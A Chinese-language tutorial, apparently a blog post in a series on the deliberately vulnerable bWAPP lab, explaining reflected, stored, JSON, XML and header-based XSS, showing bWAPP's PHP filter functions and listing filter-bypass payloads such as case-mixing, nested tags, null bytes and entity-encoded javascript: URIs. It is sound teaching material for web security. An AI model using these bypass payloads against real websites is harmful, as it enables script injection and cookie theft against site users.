背景



这个系列有很多题,但是其实考察的相近,类似的就不在多说,我们来看吧。主要分几个点来讲:

  • 反射型
  • 存储型
  • JSON
  • XM
  • 头部字段相关

分类介绍



反射型


在请求中构造了XSS的Payload,一般又是受害者点击导致受害者的客户端被攻击。例如:http://172.16.204.213/bWAPP/xss_get.php?firstname=<script>alert(document.cookie)</script>&lastname=2&form=submit

存储型


一般在博客留言板、评论、个人信息维护等地方容易存在,就是用户构造XSS的Payload保存在数据库中,一旦用户访问该页面,则中招。



JSON型


没有什么太大的不同,注意构造一下Payload,闭合标签即可,Payload:"</script><script>alert(1)</script><script>



XML型


在XML解析payload需要注意<>两个字符需要使用HTML实体编码。

例如,这样

&lt;img src=1 onerror="alert(document.cookie)"&gt;

头部字段相关


其实就是值HTTP的很多头部字段都可以XSS,直接构造XSS的Payload的例如Cookie啊,自定义头部字段吧啊,Referer等等。观察一下头部字段那些数据会输出到前端页面上,或者对referer或者location等字段进行控制,跳转到一个有XSS的页面。

XSS防御函数、过滤、绕过



防御函数


//单纯过滤<>,对编码都没有检测,所以做一个url编码就绕过了。
function xss_check_1($data)
{ // Converts only "<" and ">" to HTLM entities
$input = str_replace("<", "&lt;", $data);
$input = str_replace(">", "&gt;", $input); // Failure is an option
// Bypasses double encoding attacks
// <script>alert(0)</script>
// %3Cscript%3Ealert%280%29%3C%2Fscript%3E
// %253Cscript%253Ealert%25280%2529%253C%252Fscript%253E
$input = urldecode($input); return $input; }
//字符转成HTML实体,防御还可以,但是注意该函数的第二个参数选项ENT_QUOTES,编码单双引号,也不是不能绕过。
function xss_check_2($data)
{ // htmlentities - converts all applicable characters to HTML entities return htmlentities($data, ENT_QUOTES); }
//把&、<、>、"、'五个符号转成HTML实体
function xss_check_3($data, $encoding = "UTF-8")
{ // htmlspecialchars - converts special characters to HTML entities
// '&' (ampersand) becomes '&amp;'
// '"' (double quote) becomes '&quot;' when ENT_NOQUOTES is not set
// "'" (single quote) becomes ''' (or &apos;) only when ENT_QUOTES is set
// '<' (less than) becomes '&lt;'
// '>' (greater than) becomes '&gt;' return htmlspecialchars($data, ENT_QUOTES, $encoding); }
//中级难度的防御,addslashes,转义单双引号和反斜杠,但是不使用单双引号的,防不住的。
function xss_check_4($data)
{ // addslashes - returns a string with backslashes before characters that need to be quoted in database queries etc.
// These characters are single quote ('), double quote ("), backslash (\) and NUL (the NULL byte).
// Do NOT use this for XSS or HTML validations!!! return addslashes($data); }

绕过


//一般payload
<IMG onmouseover=”alert(‘xxs’)”> //绕过过滤单双引号的
<script>alert(document.cookie)</script>
<img src=1 onerror=alert(1)>
<img src=javascript:alert(1)>//伪协议
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))> //绕过关键字检查,大小写变化和无意义(注释、空字符、空格、回车、tab)截断
<ScrIpt>Aler/**/t(1)</ScRipt>
<img src= "javascript: alert(/xss/); width=100>
<scri%00pt>alert(1);</scri%00pt>
<a href="javascript:alert('test')">link</a>//规避关键字 //长度限制
<b oncut=alert()>
<q/oncut=alert(1)> //绕过尖括号检查,编码、多重编码
%3cscript%3ealert(1)%3c%2fscript%3e //标签检查,一重去除标签
<scr<script>ipt>alert("XSS")</scr<script>ipt> /*闭合标签
>
'> 或者 ">
' 或者 "
标签闭合

*/ //终极过滤
<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>

可以进行xss的标签

<script>
<img>
<div>
<a>
<b>
<iframe>
<video>
<audio>
<svg>
...

跟bWAPP学WEB安全(PHP代码)--XSS跨站脚本攻击的更多相关文章

  1. 跟bWAPP学WEB安全(PHP代码)--HTML注入和iFrame注入

    背景 这里讲解HTML注入和iFrame注入,其他的本质都是HTML的改变.那么有人会问,XSS与HTML注入有啥区别呢?其实本质上都是没有区别的,改变前端代码,来攻击客户端,但是XSS可以理解为注入 ...

  2. 【安全测试】Web应用安全之XSS跨站脚本攻击漏洞

    前言 以前都只是在各类文档中见到过XSS,也进行过相关的学习,但是都是一知半解,过了一段时间就忘了. 前几天我们收到了了一份标题为<XX账号昵称参数中存在存储XSS漏洞>的报告文档,来源是 ...

  3. 跟bWAPP学WEB安全(PHP代码)--终结篇:文件目录遍历、文件上传、SSRF、CSRF、XXE、文件包含

    前言 过年过的很不顺,家里领导和我本人接连生病,年前腊月29才都治好出院,大年初六家里的拉布拉多爱犬又因为细小医治无效离开了,没能过年回家,花了好多钱,狗狗还离世了.所以也就没什么心思更新博客.今天初 ...

  4. 跟bWAPP学WEB安全(PHP代码)--OS命令注入

    背景 这是温故知新的一个系列,也是重新拾起WEB安全的一个系列,同时希望能稍微有点对初学者的帮助.第一篇先来讲讲OS命令注入 bWAPP里面有两个页面也就是两个漏洞,来验证OS命令注入.一个是有回显的 ...

  5. 跟bWAPP学WEB安全(PHP代码)--认证绕过与会话管理

    背景 这里主要是代码逻辑问题,而不是代码使用函数的问题,因此在这个里面就不粘贴具体代码了,而是分类介绍下bWAPP中涉及的安全问题: 验证码问题 找回问题 账号口令问题 Cookies问题 Sessi ...

  6. 跟bWAPP学WEB安全(PHP代码)--SQL注入的一些技巧

    背景 模拟环境还是 bWAPP,只不过这个bWAPP的SQL注入有点多,一一写意义不大,在这边就利用这个环境来尝试一些SQL注入的技巧.并研究下PHP的防御代码. 普通的bWAPPSQL注入的简单介绍 ...

  7. 跟bWAPP学WEB安全(PHP代码)--SSL(Server-Side-Include)漏洞

    什么是Server-Side-Include漏洞 服务端包含漏洞是指发送指令到服务器,服务器会将指令运行完,把运行结果包含在返回文件中发送给你.利用这种漏洞可以获取服务端的信息甚至执行命令,这样的指令 ...

  8. 跟bWAPP学WEB安全(PHP代码)--PHP代码注入

    ---恢复内容开始--- 背景 今天我们换一个方式来分析这个漏洞,从渗透的角度去搞. 渗透过程 测试漏洞 先来看看,观察URL是:http://192.168.195.195/bWAPP/phpi.p ...

  9. 跟bWAPP学WEB安全(PHP代码)--邮件头和LDAP注入

    背景 由于时间限制和这俩漏洞也不是特别常用,在这里就不搭建环境了,我们从注入原来和代码审计的角度来看看. 邮件头注入 注入原理: 这个地方首先要说一下邮件的结构,分为信封(MAIL FROM.RCPT ...

随机推荐

  1. [leetcode]Unique Paths @ Python

    原题地址:https://oj.leetcode.com/problems/unique-paths/ 题意: A robot is located at the top-left corner of ...

  2. 微信小程序 scroll-view 实现锚点跳转

    在微信小程序中,使用 scroll-view 实现长页面的标记跳转,官方文档中没有例子演示,锚点标记主要是使用<scroll-view> 的 scroll-into-view 属性. 实现 ...

  3. MVC项目实践,在三层架构下实现SportsStore-11,使用Knockout实现增删改查

    SportsStore是<精通ASP.NET MVC3框架(第三版)>中演示的MVC项目,在该项目中涵盖了MVC的众多方面,包括:使用DI容器.URL优化.导航.分页.购物车.订单.产品管 ...

  4. Clipboard Action for Mac(智能剪贴板历史管理器)破解版安装

    1.软件简介    Clipboard Action 是 macOS 系统上一款智能剪贴板历史管理器,它允许剪贴板历史中的每一段内容执行操作.使用 AppleScript 或 Automator 工作 ...

  5. Java list对象列表排序 实例

    package com.test; public class Bean { private String name; private int priority; public String getNa ...

  6. Python gensim库word2vec 基本用法

    ip install gensim安装好库后,即可导入使用: 1.训练模型定义 from gensim.models import Word2Vec   model = Word2Vec(senten ...

  7. 2D空间中求线段与圆的交点

    出处: https://answers.unity.com/questions/366802/get-intersection-of-a-line-and-a-circle.html 测试脚本(返回值 ...

  8. flink 获取上传的Jar源码

    package org.apache.flink.runtime.webmonitor.handlers; /** * Handles .jar file uploads. */public clas ...

  9. linux每日命令(18):whereis命令

    whereis命令用于查找文件. 该指令会在特定目录中查找符合条件的文件.这些文件应属于原始代码.二进制文件,或是帮助文件. 该指令只能用于查找二进制文件.源代码文件和man手册页,一般文件的定位需使 ...

  10. 【Linux】Linux基本命令扫盲

    [VI使用] 1.在命令行模式     :在vi编辑器中将光标放在函数上, 定位到每行的开头,不进入输入模式,$ 定位到每行的末尾     :[n]dd 剪贴n行,p粘贴     : dG 删除光标后 ...